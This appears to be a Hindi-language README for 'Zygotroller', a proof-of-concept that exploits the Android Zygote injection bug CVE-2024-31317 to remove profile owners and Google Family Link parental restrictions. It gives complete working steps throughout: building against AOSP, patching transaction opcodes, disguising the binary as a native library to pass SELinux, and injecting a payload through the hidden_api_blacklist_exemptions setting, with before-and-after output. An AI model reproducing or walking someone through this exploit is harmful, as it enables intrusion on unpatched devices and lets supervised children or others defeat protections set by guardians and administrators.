
CVE-2024-31317 के साथ Android profile owners/family link हटाएं
Zygotroller एक प्रूफ-ऑफ-कॉन्सेप्ट है जो CVE-2024-31317 के Zygote इंजेक्शन बग का उपयोग करके प्रोफ़ाइल स्वामी और संबंधित प्रतिबंधों को हटा सकता है। इसके लिए डेवलपर मोड और जून 2024 से पहले के नवीनतम सुरक्षा पैच की आवश्यकता है।
Google की पैरेंटल कंट्रोल प्रणाली, Family Link, को इस रिपॉजिटरी में एक उदाहरण के रूप में दिखाया गया है।
Zygotroller को कंपाइल करने के लिए आपको Debian-आधारित डिस्ट्रो चलाने वाले एक आधुनिक डिवाइस की आवश्यकता होगी। इस पाठ को पढ़ने के समय के अनुसार प्रीबिल्ट्स उपलब्ध हो भी सकते हैं और नहीं भी।
दुर्भाग्यवश, यह Android के आंतरिक भागों पर निर्भर करता है, इसलिए Zygotroller बनाने के लिए आपको संपूर्ण Android स्रोत कोड को क्लोन करना होगा। सुनिश्चित करें कि आपके पास कम से कम 400GB खाली स्थान है, हालाँकि आप संभवतः कम उपयोग करेंगे।
WSL का उपयोग करने पर महत्वपूर्ण: सुनिश्चित करें कि आपके पास बहुत अधिक स्वैप है, अन्यथा WSL क्रैश हो जाएगा। मैंने व्यक्तिगत रूप से 32G का उपयोग किया:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
अब AOSP स्रोत क्लोन करना:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (रेटलिमिट के कारण कई प्रयास लग सकते हैं)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (यदि आप इम्यूलेटर पर परीक्षण कर रहे हैं, तो arm64 को x86_64 में बदलें)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
अब हमें स्क्रिप्ट में मानों को अपने वास्तविक प्रोफ़ाइल स्वामी और clearProfileOwner के लिए ऑपकोड में बदलना होगा।
प्रोफ़ाइल स्वामी या तो Google Play सेवाओं के "supervision" पैकेज में या स्वयं Google Play सेवाओं में हो सकता है। dpm list-owners चलाएँ, मेरा परिणाम इस प्रकार था:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
इससे हमें Zygotroller के लिए दो आवश्यक जानकारियाँ मिलती हैं: पैकेज का नाम (com.google.android.gms.supervision) और वर्ग का नाम (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)।
अपने पसंदीदा टेक्स्ट एडिटर से zygotroll.cpp को संपादित करें और इन पंक्तियों को अपने प्रोफ़ाइल स्वामी घटक में अद्यतन करें:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
अब आपको DPM के clearProfileOwner फ़ंक्शन का ऑपकोड खोजना होगा। मेरे लिए यह "91" था, लेकिन यह आपके Android के संस्करण/प्रकार के अनुसार भिन्न होता है। clearProfileOwner का ऑपकोड प्राप्त करने के लिए, मैंने android-svc का उपयोग किया और कमांड चलाई:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
आउटपुट में जो संख्या दिखेगी वह clearProfileOwner का ऑपकोड होगा। फिर से अपने पसंदीदा टेक्स्ट एडिटर से zygotroll.cpp खोलें और यहाँ संख्या को अपने वास्तविक ऑपकोड में बदलें:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
आप setUserRestriction के साथ भी यही करना चाहेंगे:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
अब हमें zygotroller कंपाइल करना होगा:
mm
प्रारंभिक बिल्ड में यह बहुत लंबा समय ले सकता है, बाद के बिल्ड अधिकांश आधुनिक मशीनों पर 1 मिनट से भी कम लेंगे।
अपना बाइनरी ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller में खोजें।
अब हमें एक ऐसा ऐप बनाना होगा जिसमें यह बाइनरी "शेयर्ड लाइब्रेरी" के रूप में हो, जो वास्तव में केवल Zygotroller एक्ज़ीक्यूटेबल है, ताकि SELinux हमें इसे निष्पादित करने दे। इसके लिए आप मेरे "CopyNativeLib" रिपॉजिटरी का उपयोग कर सकते हैं:
git clone https://github.com/rifting/CopyNativeLib.git
फिर अपने Zygotroller बाइनरी का नाम बदलकर libzygotroller.so करें और इसे app/src/main/jniLibs/arm64-v8a में रखें (मैं मान रहा हूँ कि यह आपके फ़ोन की आर्किटेक्चर होगी)। Android स्टूडियो में APK बनाएँ और adb install से अपने डिवाइस पर इंस्टॉल करें।
मेरे लिए Family Link प्रोफ़ाइल स्वामी का userid 10090 था, जिसे u0_a90 भी कहा जाता है।
dumpsys package com.google.android.gms.supervision | grep userId= चलाएँ।
अब payload.sh पर एक नज़र डालें, इस पंक्ति पर
inject='\n--setuid=10090...
यहाँ UID को 10090 से बदलकर वह UID करें जो dumpsys कमांड से मिला था। यदि यह समान ID है, तो इसे छोड़ दें।
उस पंक्ति पर थोड़ा आगे देखें, आप देखेंगे:
...echo zYg0te $(LD_LIBRARY_PATH=[आपकी नेटिव लाइब्रेरी का पथ] [आपकी नेटिव लाइब्रेरी का पथ])...
(तीन बिंदु संक्षिप्तता दर्शाने के लिए)
आपको इन्हें उस नेटिव लाइब्रेरी के पथों से बदलना होगा जिसे आपने अभी डिवाइस पर इंस्टॉल किया है। pm path com.rifting.copynativelib चलाएँ।
फ़ाइल का पथ कमांड के आउटपुट में दिखाए गए APK का मूल निर्देशिका + lib/arm64-v8a/libzygotroller.so होगा। LD_LIBRARY_PATH को लाइब्रेरी के निर्देशिका की आवश्यकता है, और फिर उसके बाद लाइब्रेरी का वास्तविक पथ आना चाहिए।
तो वह पंक्ति कुछ इस प्रकार दिखेगी:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
आप लगभग वहाँ पहुँच गए हैं! इस फ़ाइल को /data/local/tmp पर पुश करें:
adb push payload.sh /data/local/tmp
अनुमतियाँ सेट करें:
chmod +x /data/local/tmp/payload.sh
और अंत में, इसका आउटपुट hidden_api_blacklist_exemptions में भेजें!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
अब इसे "0" पर सेट करें ताकि बूटलूप से बचा जा सके :)
settings put global hidden_api_blacklist_exemptions 0
आपको देखना चाहिए कि Family Link प्रोफ़ाइल स्वामी + सभी संबंधित प्रतिबंध हटा दिए गए हैं। सेटिंग्स में जाएँ और खातों का प्रबंधन करें, और डिवाइस से पर्यवेक्षित खाता हटा दें। बधाई हो!
पहले:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
बाद में:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...